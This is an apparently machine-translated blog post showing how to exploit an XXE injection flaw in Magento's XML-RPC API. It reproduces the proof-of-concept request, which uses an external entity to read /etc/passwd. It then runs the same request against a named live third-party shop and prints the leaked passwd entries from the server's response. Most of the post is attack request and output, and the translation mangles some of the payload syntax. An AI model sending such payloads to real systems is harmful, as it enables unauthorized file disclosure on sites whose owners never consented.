Use Magento eCommerce Platform XXE Injection

0x2

Today I saw details of this vulnerability when I checked packetstormsecurity: http://packetstormsecurity.org/files/114710/Magento-eCommerce-Platform-XXE-Injection.html.

The usage method is also clear:

Proof of concept:
-----------------
Magento uses a vulnerable Zend_XmlRpc_Server () class (Zend \ XmlRpc \ Server. php)
To handle XML-RPC requests. Hence it is possible to disclose arbitrary local
Files from the remote system. The following http post request to
Vulnerable XmlRpc server application extends strates the exploitation of this
Vulnerability:

POST/index. php/api/xmlrpc HTTP/1.1
Host: $ host

<? Xml version = "1.0"?>
<! DOCTYPE foo [
<! ELEMENT methodName ANY>
<! ENTITY xxe SYSTEM "file: // etc/passwd">]>
<MethodCall>
<MethodName> & xxe; </methodName>
</MethodCall>

Www.2cto.com

0x3

Now go to the magento Chinese community to see the demonstration site.

Take Weifeng network as an example:

Use burp to submit data packets as follows:

POST/index. php/api/xmlrpc HTTP/1.1

Host: www.fengbuy.com

Proxy-Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1155.2 Safari/537.1

Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN, zh; q = 0.8

Accept-Charset: GBK, UTF-8; q = 0.7, *; q = 0.3

Content-Length: 190

 

<? Xml version = "1.0"?>

<! DOCTYPEfoo [

<! ELEMENT methodName ANY>

<! ENTITYqingshen SYSTEM "file: // etc/passwd">]>

<MethodCall>

<MethodName> & qingshen; </methodName>

</MethodCall>

 

The returned data in burp is as follows:

HTTP/1.1 200 OK

Date: Fri, 13 Jul 2012 15:57:44 GMT

Server: nginx/1.2.0

Content-Type: text/xml; charset = UTF-8

X-Powered-By: PHP/5.2.14

Cache-Control: no-cache, must-revalidate

X-Via: 1.1 stsz14: 8106 (Cdn Cache Server V2.0)

Connection: keep-alive

Content-Length: 3228

 

<? Xml version = "1.0" encoding = "UTF-8"?>

<MethodResponse> <fault> <value> <struct> <member> <name> faultCode </name> <value> <int> 620 </int> </value> </ member> <name> faultString </name> <value> <string> Method "root: x: 0: 0: root:/bin/bash

Bin: x: 1: 1: bin:/sbin/nologin

Daemon: x: 2: 2: daemon:/sbin/nologin

Adm: x: 3: 4: adm:/var/adm:/sbin/nologin

Lp: x: 4: 7: lp:/var/spool/lpd:/sbin/nologin

..... There are still many users, which are omitted below

The following are other websites:

 

0x4

Https://www.sec-consult.com/files/20120626-0_zend_framework_xxe_injection.txt

Http://zone.wooyun.org/content/508

Http://packetstormsecurity.org/files/114710/Magento-eCommerce-Platform-XXE-Injection.html